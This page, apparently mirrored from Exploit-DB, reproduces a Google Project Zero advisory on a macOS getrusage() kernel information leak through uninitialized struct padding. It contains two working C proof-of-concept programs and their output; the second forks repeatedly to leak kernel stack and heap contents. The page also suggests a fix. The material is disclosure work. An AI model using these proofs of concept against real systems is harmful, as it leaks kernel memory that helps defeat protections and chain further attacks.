Apple macOS – ‘getrusage’ Stack Leak Through struct Padding

  • 作者: Google Security Research
    日期: 2017-12-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43319/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1405
    
    For 64-bit processes, the getrusage() syscall handler converts a `struct rusage` to a `struct user64_rusage` using `munge_user64_rusage()`, then copies the `struct user64_rusage` to userspace:
    
    int
    getrusage(struct proc *p, struct getrusage_args *uap, __unused int32_t *retval)
    {
    struct rusage *rup, rubuf;
    struct user64_rusage rubuf64;
    struct user32_rusage rubuf32;
    size_t retsize = sizeof(rubuf); // default: 32 bits 
    caddr_t retbuf = (caddr_t)&rubuf; // default: 32 bits 
    struct timeval utime;
    struct timeval stime;
    
    
    switch (uap->who) {
    case RUSAGE_SELF:
    calcru(p, &utime, &stime, NULL);
    proc_lock(p);
    rup = &p->p_stats->p_ru;
    rup->ru_utime = utime;
    rup->ru_stime = stime;
    
    rubuf = *rup;
    proc_unlock(p);
    
    break;
    [...]
    }
    if (IS_64BIT_PROCESS(p)) {
    retsize = sizeof(rubuf64);
    retbuf = (caddr_t)&rubuf64;
    munge_user64_rusage(&rubuf, &rubuf64);
    } else {
    [...]
    }
    
    return (copyout(retbuf, uap->rusage, retsize));
    }
    
    `munge_user64_rusage()` performs the conversion by copying individual fields:
    
    __private_extern__void 
    munge_user64_rusage(struct rusage *a_rusage_p, struct user64_rusage *a_user_rusage_p)
    {
    // timeval changes size, so utime and stime need special handling 
    a_user_rusage_p->ru_utime.tv_sec = a_rusage_p->ru_utime.tv_sec;
    a_user_rusage_p->ru_utime.tv_usec = a_rusage_p->ru_utime.tv_usec;
    a_user_rusage_p->ru_stime.tv_sec = a_rusage_p->ru_stime.tv_sec;
    a_user_rusage_p->ru_stime.tv_usec = a_rusage_p->ru_stime.tv_usec;
    [...]
    }
    
    `struct user64_rusage` contains four bytes of struct padding behind each `tv_usec` element:
    
    #define _STRUCT_USER64_TIMEVALstruct user64_timeval
    _STRUCT_USER64_TIMEVAL
    {
    user64_time_ttv_sec;// seconds 
    __int32_ttv_usec; // and microseconds 
    };
    
    structuser64_rusage {
    struct user64_timeval ru_utime; // user time used 
    struct user64_timeval ru_stime; // system time used 
    user64_long_t ru_maxrss;// max resident set size 
    [...]
    };
    
    This padding is not initialized, but is copied to userspace.
    
    
    The following test results come from a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0.
    
    
    Just leaking stack data from a previous syscall seems to mostly return the upper halfes of some kernel pointers.
    The returned data seems to come from the previous syscall:
    
    $ cat test.c
    #include <sys/resource.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    void do_leak(void) {
    static struct rusage ru;
    getrusage(RUSAGE_SELF, &ru);
    static unsigned int leak1, leak2;
    memcpy(&leak1, ((char*)&ru)+12, 4);
    memcpy(&leak1, ((char*)&ru)+28, 4);
    printf("leak1: 0x%08x\n", leak1);
    printf("leak2: 0x%08x\n", leak2);
    }
    
    int main(void) {
    do_leak();
    do_leak();
    do_leak();
    int fd = open("/dev/null", O_RDONLY);
    do_leak();
    int dummy;
    read(fd, &dummy, 4);
    do_leak();
    return 0;
    }
    $ gcc -o test test.c && ./test
    leak1: 0x00000000
    leak2: 0x00000000
    leak1: 0xffffff80
    leak2: 0x00000000
    leak1: 0xffffff80
    leak2: 0x00000000
    leak1: 0xffffff80
    leak2: 0x00000000
    leak1: 0xffffff81
    leak2: 0x00000000
    
    
    However, I believe that this can also be used to disclose kernel heap memory.
    When the stack freelists are empty, stack_alloc_internal() allocates a new kernel stack
    without zeroing it, so the new stack contains data from previous heap allocations.
    The following testcase, when run after repeatedly reading a wordlist into memory,
    leaks some non-pointer data that seems to come from the wordlist:
    
    $ cat forktest.c 
    */
    
    #include <sys/resource.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    void do_leak(void) {
    static struct rusage ru;
    getrusage(RUSAGE_SELF, &ru);
    static unsigned int leak1, leak2;
    memcpy(&leak1, ((char*)&ru)+12, 4);
    memcpy(&leak2, ((char*)&ru)+28, 4);
    char str[1000];
    if (leak1 != 0) {
    sprintf(str, "leak1: 0x%08x\n", leak1);
    write(1, str, strlen(str));
    }
    if (leak2 != 0) {
    sprintf(str, "leak2: 0x%08x\n", leak2);
    write(1, str, strlen(str));
    }
    }
    
    void leak_in_child(void) {
    int res_pid, res2;
    asm volatile(
    "mov $0x02000002, %%rax\n\t"
    "syscall\n\t"
    : "=a"(res_pid), "=d"(res2)
    :
    : "cc", "memory", "rcx", "r11"
    );
    //write(1, "postfork\n", 9);
    if (res2 == 1) {
    //write(1, "child\n", 6);
    do_leak();
    char dummy;
    read(0, &dummy, 1);
    asm volatile(
    "mov $0x02000001, %rax\n\t"
    "mov $0, %rdi\n\t"
    "syscall\n\t"
    );
    }
    //printf("fork=%d:%d\n", res_pid, res2);
    int wait_res;
    //wait(&wait_res);
    }
    
    int main(void) {
    for(int i=0; i<1000; i++) {
    leak_in_child();
    }
    }
    /*
    $ gcc -o forktest forktest.c && ./forktest
    leak1: 0x1b3b1320
    leak1: 0x00007f00
    leak1: 0x65686375
    leak1: 0x410a2d63
    leak1: 0x8162ced5
    leak1: 0x65736168
    leak1: 0x0000042b
    
    The leaked values include the strings "uche", "c-\nA" and "hase", which could plausibly come from the wordlist.
    
    
    Apart from fixing the actual bug here, it might also make sense to zero stacks when stack_alloc_internal() grabs pages from the generic allocator with kernel_memory_allocate() (by adding KMA_ZERO or so). As far as I can tell, that codepath should only be executed very rarely under normal circumstances, and this change should at least break the trick of leaking heap contents through the stack.
    */